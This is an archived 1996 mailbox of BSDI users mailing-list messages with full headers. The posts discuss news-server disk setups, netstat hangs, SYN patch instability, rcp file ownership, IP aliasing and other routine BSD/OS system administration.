Sun, 3 Nov 96 23:24 PST How you can solve the spam problem for yourself. Use procmail! : * ^From: (Tim Bass|Jim Fleming|Eugene Kashpureff|David Newall) /dev/null Bye David. Bye spam. randy From VM Mon Nov 4 23:54:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1263" "Mon" "4" "November" "1996" "10:03:57" "+0000" "Neil J. McRae" "neil@domino.org" nil "36" "Re: HIgh Performance I/O " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id FAA12779 for ; Mon, 4 Nov 1996 05:18:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id FAA29115 for bsdi-users-outgoing; Mon, 4 Nov 1996 05:08:49 -0500 (EST) Message-Id: <199611041003.KAA05346@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Sun, 03 Nov 1996 09:52:32 -0400." Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: bsdi-users@BSDI.COM, neil@domino.org Subject: Re: HIgh Performance I/O Date: Mon, 04 Nov 1996 10:03:57 +0000 On Sun, 3 Nov 1996 09:52:32 -0400 (AST) Jeff Campbell wrote: > > I am doing the specs up for a high performance news server, but I > am somewhat concerned after digging through the archives, that BSD/OS may > not be the best platform. What are the best controllers and RAIDs (by > manufacturerer) for news server disk I/O or am I better off with a Sun > product? BSDi with its CCD is all you need. [Having LFS working is a help also] This is what I've used as a news server in the past: PC with 5 PCI slots, 256M mem 3 SCSI Buses Adaptec is definetly the best SCSI controller. [4/7 2 gig disks in a stripe for spool] [3/7 2 gig disk in a strip for spool] [3 2 gig isk in a stripe for history and active] 2 Ethernet Cards. One talks to your network, the other talks to a private news network [on network 10] that has your newspeer machine on it. IDE for root and swap. If you get IBM or Fujitsu disks you'll find that your I/O perforamance is as good as any Sun based Machine. Neil. -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Mon Nov 4 23:54:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["276" "Wed" "16" "October" "1996" "21:57:35" "-0700" "sedwards@cts.com" "sedwards@cts.com" nil "10" "[BSDI] Re: ISDN" "^From:" nil nil "10" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA14132 for ; Mon, 4 Nov 1996 06:18:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id GAA29165 for bsdi-users-outgoing; Mon, 4 Nov 1996 06:04:08 -0500 (EST) In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Newline Sender: owner-bsdi-users@lists.gateway.com To: Amy Cc: bsdi-users@BSDI.COM Subject: [BSDI] Re: ISDN Date: Wed, 16 Oct 1996 21:57:35 -0700 (PDT) On Wed, 16 Oct 1996, Amy wrote: > Can you use and external ISDN modem with BSDI and a regualr com port? > Or do i need a terminal adapter? > If i do need the TA, any recommended brands? I have and like an Ascend Pipeline 75. I like having the ISDN connection on the Ether From VM Mon Nov 4 23:54:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["645" "Mon" "4" "November" "1996" "06:55:15" "+0600" "chris michael" "cm@rmsbus.com" nil "32" "route; netstat" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA17082 for ; Mon, 4 Nov 1996 08:07:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA29271 for bsdi-users-outgoing; Mon, 4 Nov 1996 07:55:42 -0500 (EST) Message-Id: <3.0.32.19961104065513.006b0798@mail.rmsbus.com> X-Sender: cm@mail.rmsbus.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Precedence: bulk From: chris michael Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: route; netstat Date: Mon, 04 Nov 1996 06:55:15 +0600 MS Sans SerifMy apologies if this is a duplicate: I'm running BSDI 2.1 and having a problem with routes. The default route seems to enter okay, but when you do any netstat command it hangs after the first line of output. Rebooting doesn't seem to help and the default route doesn't work. I don't know how this stuff actually works, but I'm wondering if the route information gets compiled into a file somewhere that has become corrupted? Any suggestions on how to clear this up would be greatfully appreciated. Chris --- christopher michael*rms business systems*< From VM Mon Nov 4 23:54:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["873" "Mon" "4" "November" "1996" "07:33:21" "-0700" "Jim Hribnak" "hribnak@nucleus.com" nil "21" "SYN Patches etc URGENT!!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA19822 for ; Mon, 4 Nov 1996 09:45:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA29391 for bsdi-users-outgoing; Mon, 4 Nov 1996 09:27:20 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jim Hribnak Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: SYN Patches etc URGENT!! Date: Mon, 4 Nov 1996 07:33:21 -0700 (MST) last nite I finally installed the SYN patches (I am patched upto K210-024) Now I am having problems. (after getting them installed yesterday and waiting abount 45 mins to make sure the BSDI system was stable after determining it was stabled I went home (30 mins from the office), I get home and as I got home 20 mins later the unix machine was HUNG completely all you could do was ping it.. drove all the way back in, could not log onto console, couldnt do anything but reboot.. I stayed for bout and hour all was fine.. went home, check this morning all is fine.. its been up for 11 hours i send an email to the staff here and viola after sending it the 2.1 box REBOOTS! Anyone else having this problem after they installed the patches???? This is quite the pissoff, you do something thats supposed to help your system but in all fact makes matters worse... Jim From VM Mon Nov 4 23:54:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1203" "Mon" "4" "November" "1996" "11:21:36" "-0500" "Richard Chen" "richard@beaker.med.yale.edu" nil "41" "Re: Rcp question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA21199 for ; Mon, 4 Nov 1996 10:37:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA29508 for bsdi-users-outgoing; Mon, 4 Nov 1996 10:23:06 -0500 (EST) Message-Id: <2.2.16.19961104162136.4517cb08@beaker.med.yale.edu> X-Sender: richard@beaker.med.yale.edu X-Mailer: Windows Eudora Pro Version 2.2 (16) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Richard Chen Sender: owner-bsdi-users@lists.gateway.com To: epl@vitinc.com Cc: info-bsdi-users@uunet.uu.net Subject: Re: Rcp question Date: Mon, 04 Nov 1996 11:21:36 -0500 At 09:17 PM 11/3/96 GMT, you wrote: >Regarding rcp and ownership / permissions.. > >Building new server and attempting to rcp complete system from >BSDI 2.0.1 to 2.1. When moving files such as /etc/raddb (Radius) >and passwd - master.passwd - /var/www/* - etc. everything goes OK. > >Have 2.0.1 passwd files and group files on new machine. > >When moving /usr/home/users - the permissions all revert to >root.wheel. Syntax I'm using is: > > rcp -Kpr admin:/usr/home/username /usr/home > >Kerberos is installed but not active. > >I realize I can chown -R username.user username to fix this - but >there must be a better way. > >I will be using rcp -Kpr admin:/usr/home/* /usr/home when I get >this right. > >What am I doing wrong..? > Just copying /etc/master.passwd onto a new system is not enough. You have to perform # pwd_mkdb /etc/master.passwd to create passwd database file /etc/pwd.db so that the new system knows all the users contains in the passwd file. If you forget this step, rcp any file which belongs to a user not known to the new system will result in ownership of root.wheel. --------------------------- Q. Richard Chen Yale-New Haven Hospital richard@beaker.med.yale.edu  From VM Mon Nov 4 23:54:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["595" "Mon" "4" "November" "1996" "10:44:10" "-0500" "Bill Becker" "bbecker@futurecomm.com" nil "22" "Re: route; netstat" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA21204 for ; Mon, 4 Nov 1996 10:38:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA29523 for bsdi-users-outgoing; Mon, 4 Nov 1996 10:32:23 -0500 (EST) X-Authentication-Warning: flubber.futurecomm.com: bbecker owned process doing -bs In-Reply-To: <3.0.32.19961104065513.006b0798@mail.rmsbus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Bill Becker Sender: owner-bsdi-users@lists.gateway.com To: chris michael cc: bsdi-users@BSDI.COM Subject: Re: route; netstat Date: Mon, 4 Nov 1996 10:44:10 -0500 (EST) On Mon, 4 Nov 1996, chris michael wrote: > MS Sans SerifMy apologies if this is a > duplicate: > > > I'm running BSDI 2.1 and having a problem with routes. The default > route > > seems to enter okay, but when you do any netstat command it hangs after > > the first line of output. Rebooting doesn't seem to help and the default > Are you running netstat with "-n"? Without the -n option, netstat trys to resolve the names of IPs -- If your nameserver isn't working or if you are missing PTR records, it could take quite a while to do "netstat -r". Bill From VM Mon Nov 4 23:54:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1472" "Mon" "4" "November" "1996" "11:15:20" "EST" "salyzyn@inet.dpt.com" "salyzyn@inet.dpt.com" nil "37" "Re[2]: HIgh Performance I/O " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA22587 for ; Mon, 4 Nov 1996 11:37:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA29605 for bsdi-users-outgoing; Mon, 4 Nov 1996 11:20:28 -0500 (EST) Message-Id: <9610048471.AA847135004@inet.dpt.com> Precedence: bulk From: "Salyzyn" Sender: owner-bsdi-users@lists.gateway.com To: jacampbe@is2.dal.ca, "Neil J. McRae" Cc: bsdi-users@BSDI.COM, neil@domino.org Subject: Re[2]: HIgh Performance I/O Date: Mon, 04 Nov 96 11:15:20 EST }> I am doing the specs up for a high performance news server, but I }> am somewhat concerned after digging through the archives, that BSD/OS }> may not be the best platform. What are the best controllers and RAIDs }> (by manufacturerer) for news server disk I/O or am I better off with }> a Sun product? }BSDi with its CCD is all you need. [Having LFS working is a help also] } }This is what I've used as a news server in the past: } }PC with 5 PCI slots, 256M mem } }3 SCSI Buses Adaptec is definetly the best SCSI controller. A matter of opinion. I would hazard a guess that the DPT controller's ability to handle RAID *and* still maintain 30% or more performance to single drives (even without the add-on cache) at a similar price for the Host Bus Adapter would certainly make one pause and think ... In addition, the DPT driver handles wide controllers giving the ability to handle 45 targets on one 3 bus controller. DPT sells a 3 bus adapter, the PM3334UW with an add on daughter card, and can create a RAID-5 array across the three buses if you want. The RAID-5 appears to be the best solution for large news spools since ISPs recognize the need for reliable news support even through disk hardware failures. The driver for BSD/OS 2.1 is available at ftp.dpt.com, it will ship with BSD/OS 3.0. Ciao -- Mark Salyzyn From VM Mon Nov 4 23:54:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1039" "Mon" "4" "November" "1996" "16:36:55" "+0000" "Neil J. McRae" "neil@domino.org" nil "48" "Re: route; netstat " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA23147 for ; Mon, 4 Nov 1996 11:54:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA29667 for bsdi-users-outgoing; Mon, 4 Nov 1996 11:42:16 -0500 (EST) Message-Id: <199611041636.QAA07866@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Mon, 04 Nov 1996 06:55:15 +0600." <3.0.32.19961104065513.006b0798@mail.rmsbus.com> Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: chris michael cc: bsdi-users@BSDI.COM, neil@domino.org Subject: Re: route; netstat Date: Mon, 04 Nov 1996 16:36:55 +0000 On Mon, 04 Nov 1996 06:55:15 +0600 chris michael wrote: netstat -n should help. > MS Sans SerifMy apologies if this is a > duplicate: > > > I'm running BSDI 2.1 and having a problem with routes. The default route > > seems to enter okay, but when you do any netstat command it hangs after > > the first line of output. Rebooting doesn't seem to help and the default > > route doesn't work. > > > I don't know how this stuff actually works, but I'm wondering if the > > route information gets compiled into a file somewhere that has become > > corrupted? > > > Any suggestions on how to clear this up would be greatfully > appreciated. > > > Chris > > > > --- > > christopher michael*rms business systems*< -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Mon Nov 4 23:54:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2014" "Mon" "4" "November" "1996" "17:15:16" "+0000" "Neil J. McRae" "neil@domino.org" nil "44" "Re: Re[2]: HIgh Performance I/O " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA24262 for ; Mon, 4 Nov 1996 12:39:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA29723 for bsdi-users-outgoing; Mon, 4 Nov 1996 12:20:01 -0500 (EST) Message-Id: <199611041715.RAA08301@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Mon, 04 Nov 1996 11:15:20 EST." <9610048471.AA847135004@inet.dpt.com> Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: "Salyzyn" cc: jacampbe@is2.dal.ca, "Neil J. McRae" , bsdi-users@BSDI.COM Subject: Re: Re[2]: HIgh Performance I/O Date: Mon, 04 Nov 1996 17:15:16 +0000 On Mon, 04 Nov 96 11:15:20 EST "Salyzyn" wrote: > }3 SCSI Buses Adaptec is definetly the best SCSI controller. > > A matter of opinion. I would hazard a guess that the > DPT controller's ability to handle RAID *and* still > maintain 30% or more performance to single drives > (even without the add-on cache) at a similar price for > the Host Bus Adapter would certainly make one pause > and think ... Well, I've checked this out. What type of RAID does your box do? Striping is RAID0 [not to be confused with stripping with is RAID69 [thanks mycroft :)]] how does your RAID5 present itself to the PC? As several SCSI targets? or as one? In my spare time, yah I'm a sad bastard, I've done many speed tests and I've yet to see a performance increase that warranted the extra $$ or the risk in using proprietry drivers, I like BSDI and NetBSD [which is what I personally use] because of this. > DPT sells a 3 bus adapter, the PM3334UW with an add > on daughter card, and can create a RAID-5 array across > the three buses if you want. The RAID-5 appears to be > the best solution for large news spools since ISPs > recognize the need for reliable news support even through disk > hardware failures. > I don't know of any large ISP using RAID5 for news. Easynet don't, Demon don't and if I remember correctly neither do BTNet. And in most tests that I've done, more than one disk fails at round about the same time, I've yet to see someone successfully fix a RAID5 news spool. Can I use LFS on it? The last RAID5 controller I played with was very slow. I would be interested in hearing more about your product, including stats. Sell it to me Mister :-) Neil -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Mon Nov 4 23:54:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["761" "Mon" "4" "November" "1996" "11:04:02" "-0500" "Craig Thompson" "CTHOMPSON@wingnet.net" nil "30" "Re: /usr/share/skel -- subdirectories " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA24790 for ; Mon, 4 Nov 1996 12:51:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA29892 for bsdi-users-outgoing; Mon, 4 Nov 1996 12:42:16 -0500 (EST) Message-Id: <199611041601.LAA10218@agape.wingnet.net> Comments: Authenticated sender is Organization: WingNet X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Craig Thompson" Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" CC: info-bsdi-users@uunet.uu.net Subject: Re: /usr/share/skel -- subdirectories Date: Mon, 4 Nov 1996 11:04:02 -0500 Thanks, > > In message <55b84d$app@eirene.wingnet.net>you write: > >Haven't figured out how to make subdirectories (such as > >public_html) be created automatically when we add users. Files in > >/usr/share/skel are copied over with no problem, but I haven't seen > >a template setup for doing the same with subdirectories. > > > >Anybody done this? > > > >Thanks, > >CT > > How about > > (cd /usr/share/skel; tar cf - . ) | (cd ~newusername; tar xpf -) > > Jacob > Craig Thompson ---------------------------------------------------------------------- WingNET Internet Services, P.O. Box 3000 // Cleveland, TN 37320-3000 423-559-LINK (v) 423-559-5444 (f) http://www.wingnet.net ---------------------------------------------------------------------- From VM Mon Nov 4 23:54:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["761" "Mon" "4" "November" "1996" "11:04:02" "-0500" "Craig Thompson" "CTHOMPSON@wingnet.net" nil "30" "Re: /usr/share/skel -- subdirectories " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA24832 for ; Mon, 4 Nov 1996 12:52:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA29930 for bsdi-users-outgoing; Mon, 4 Nov 1996 12:46:34 -0500 (EST) Message-Id: <199611041601.LAA10218@agape.wingnet.net> Comments: Authenticated sender is Organization: WingNet X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Craig Thompson" Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" CC: info-bsdi-users@uunet.uu.net Subject: Re: /usr/share/skel -- subdirectories Date: Mon, 4 Nov 1996 11:04:02 -0500 Thanks, > > In message <55b84d$app@eirene.wingnet.net>you write: > >Haven't figured out how to make subdirectories (such as > >public_html) be created automatically when we add users. Files in > >/usr/share/skel are copied over with no problem, but I haven't seen > >a template setup for doing the same with subdirectories. > > > >Anybody done this? > > > >Thanks, > >CT > > How about > > (cd /usr/share/skel; tar cf - . ) | (cd ~newusername; tar xpf -) > > Jacob > Craig Thompson ---------------------------------------------------------------------- WingNET Internet Services, P.O. Box 3000 // Cleveland, TN 37320-3000 423-559-LINK (v) 423-559-5444 (f) http://www.wingnet.net ---------------------------------------------------------------------- From VM Mon Nov 4 23:54:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1317" "Mon" "4" "November" "1996" "08:52:04" "-0500" "Parthiv Shah" "parthiv@corp.idt.net" nil "43" "Re: Multiple networks on same ethernet card" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA24837 for ; Mon, 4 Nov 1996 12:53:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA29938 for bsdi-users-outgoing; Mon, 4 Nov 1996 12:47:29 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Parthiv Shah Sender: owner-bsdi-users@lists.gateway.com To: Tim Flavin cc: bsdi-users@BSDI.COM Subject: Re: Multiple networks on same ethernet card Date: Mon, 4 Nov 1996 08:52:04 -0500 (EST) Add 2 cards instead of one. And define one interface on first card, and second on the another one. Run the ethernet cables from both of the cards... and you are ready to go Parthiv -- Shah, Parthiv http://www.netadmin.net/ parthiv@corp.idt.net (201) 928 - 4414 System Administrator at IDT pgp? -> finger parthiv@haven.ios.com On Sun, 3 Nov 1996, Tim Flavin wrote: > Date: Sun, 3 Nov 1996 14:36:29 -0600 (CST) > From: Tim Flavin > To: bsdi-users@BSDI.COM > Subject: Multiple networks on same ethernet card > > Been searching the bsdi-users archive and have not found what I am looking > for, so any help would be greatly apreciated. > > I need to renumber my network and for a short time need 2 BSDi boxes (my > primary and secondary nameservers) to work on both networks, all other > machines can just go onto the new network. > > There seems to be a ton of info on how to add an ip if it is on the same > network, and I have no problem doing that, have a machine with 200 ip's > already. It's just the different network I am having trouble with. > > Example: > > Primary DNS server is 205.216.202.1 > need it to also answer to 207.230.32.1 > > Already have my Cisco setup for the new network and a few machines working > off the new network. > > thanks, > Tim > From VM Mon Nov 4 23:54:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1919" "Mon" "4" "November" "1996" "07:59:49" "-0600" "Tim Flavin" "tim@i1.net" nil "61" "Re: Multiple networks on same ethernet card" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA24838 for ; Mon, 4 Nov 1996 12:53:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA29950 for bsdi-users-outgoing; Mon, 4 Nov 1996 12:47:48 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tim Flavin Sender: owner-bsdi-users@lists.gateway.com To: Parthiv Shah cc: bsdi-users@BSDI.COM Subject: Re: Multiple networks on same ethernet card Date: Mon, 4 Nov 1996 07:59:49 -0600 (CST) Two cards were not needed to do this. Someone else from the list helped me over the weekend and it is now working on 1 ethernet card. To sum up everything, and maybe add to the FAQ ifconfig ef0 inet 207.230.32.1 netmask 255.255.252.0 alias route add -host 207.230.32.1 127.0.0.1 Worked perfectly and is in place aas we speak. The machine has 1 ethernet card and has both the IP's of 205.216.202.1 and 207.230.32.1 Very similar to what some do for virtual hosts. Tim On Mon, 4 Nov 1996, Parthiv Shah wrote: > Add 2 cards instead of one. > > And define one interface on first card, and second on the another one. > > Run the ethernet cables from both of the cards... and you are ready to go > > Parthiv > > -- > Shah, Parthiv http://www.netadmin.net/ > parthiv@corp.idt.net (201) 928 - 4414 > System Administrator at IDT pgp? -> finger parthiv@haven.ios.com > > On Sun, 3 Nov 1996, Tim Flavin wrote: > > > Date: Sun, 3 Nov 1996 14:36:29 -0600 (CST) > > From: Tim Flavin > > To: bsdi-users@BSDI.COM > > Subject: Multiple networks on same ethernet card > > > > Been searching the bsdi-users archive and have not found what I am looking > > for, so any help would be greatly apreciated. > > > > I need to renumber my network and for a short time need 2 BSDi boxes (my > > primary and secondary nameservers) to work on both networks, all other > > machines can just go onto the new network. > > > > There seems to be a ton of info on how to add an ip if it is on the same > > network, and I have no problem doing that, have a machine with 200 ip's > > already. It's just the different network I am having trouble with. > > > > Example: > > > > Primary DNS server is 205.216.202.1 > > need it to also answer to 207.230.32.1 > > > > Already have my Cisco setup for the new network and a few machines working > > off the new network. > > > > thanks, > > Tim > > > From VM Mon Nov 4 23:55:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["599" "Sun" "3" "November" "1996" "21:23:01" "+0600" "chris michael" "cm@rmsbus.com" nil "27" "route table corruption; netstat hangs" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA24844 for ; Mon, 4 Nov 1996 12:54:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA29959 for bsdi-users-outgoing; Mon, 4 Nov 1996 12:48:17 -0500 (EST) Message-Id: <3.0.32.19961103212258.006b1f10@mail.rmsbus.com> X-Sender: cm@mail.rmsbus.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Precedence: bulk From: chris michael Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: route table corruption; netstat hangs Date: Sun, 03 Nov 1996 21:23:01 +0600 MS Sans SerifI'm running BSDI 2.1 and having a problem with routes. The default route seems to enter okay, but when you do any netstat command it hangs after the first line of output. Rebooting doesn't seem to help and the default route doesn't work. I don't know how this stuff actually works, but I'm wondering if the route information gets compiled into a file somewhere that has become corrupted? Any suggestions on how to clear this up would be gratefully appreciated. --- christopher michael*rms business systems*< From VM Mon Nov 4 23:55:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["532" "Mon" "4" "November" "1996" "07:54:40" "-0600" "Tim Flavin" "tim@i1.net" nil "19" "Re: [BSDI] Re: ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA24848 for ; Mon, 4 Nov 1996 12:54:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA29946 for bsdi-users-outgoing; Mon, 4 Nov 1996 12:47:43 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tim Flavin Sender: owner-bsdi-users@lists.gateway.com To: Newline cc: Amy , bsdi-users@BSDI.COM Subject: Re: [BSDI] Re: ISDN Date: Mon, 4 Nov 1996 07:54:40 -0600 (CST) On Wed, 16 Oct 1996, Newline wrote: > On Wed, 16 Oct 1996, Amy wrote: > > > Can you use and external ISDN modem with BSDI and a regualr com port? > > Or do i need a terminal adapter? > > If i do need the TA, any recommended brands? > > I have and like an Ascend Pipeline 75. > > I like having the ISDN connection on the Ether > The Pipeline 50 or 75 are excellent choices, but if cost is a factor, the Motorola BitSurfer Pro does the job but is an asyc device so you are working with the speed limitations of the comm port From VM Mon Nov 4 23:55:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["649" "Sun" "3" "November" "1996" "21:38:28" "-0800" "Mark A. Lovell" "mlovell@pinnacle.bigrock.com" nil "19" "QIC-3095 format SCSI tape" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA24852 for ; Mon, 4 Nov 1996 12:55:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA29962 for bsdi-users-outgoing; Mon, 4 Nov 1996 12:48:21 -0500 (EST) Message-Id: <199611040538.VAA02357@pinnacle.bigrock.com> X-Mailer: exmh version 1.6.5 12/8/95 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Mark A. Lovell" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Subject: QIC-3095 format SCSI tape Date: Sun, 03 Nov 1996 21:38:28 -0800 I just got a hold of an 8 GB HP/Colorado/Taravan tape drive. I figured it's SCSI and it's tape -- no problem for BSDI, right? Well not quite. The OS senses it just fine and assigns it to st0 as expected, but when I attempt to use it I get: st0: illegal request: illegal field in CDB st0: unsupported density selection I nosed around a bit in the scsi drivers, but it's pretty certain that there is something going on that the OS isn't quite expecting. Has anyone done the hacking to get one of these to work? Does 3.0 support them? It would be a shame to have to rip it back out now that it's in. --- Mark Lovell mlovell@bigrock.com From VM Mon Nov 4 23:55:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["744" "Mon" "4" "November" "1996" "09:54:29" "-0800" "Mike Greene" "mikeg@rockisland.com" nil "29" "need to kill a process, but it isn't listed" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA25132 for ; Mon, 4 Nov 1996 13:03:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA00117 for bsdi-users-outgoing; Mon, 4 Nov 1996 12:54:53 -0500 (EST) Message-Id: <2.2.32.19961104175429.006a6f10@rockisland.com> X-Sender: mikeg@rockisland.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Mike Greene Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: need to kill a process, but it isn't listed Date: Mon, 04 Nov 1996 09:54:29 -0800 Hello, Had an odd thing happen sunday night, I was dialed in remotely and got dropped, no big deal just dialed back in. But when I did a 'who' it shows me being logged in on that port, however the process table doesn't show the PID for the csh, how do I get rid of that connection short of rebooting the machine? [mikeg][cronus]: w USER TTY FROM LOGIN@ IDLE WHAT mikeg p0 calvin 8:07AM 2 w mikeg p2 nts20 Sun01PM 19:51 - [mikeg][cronus]: 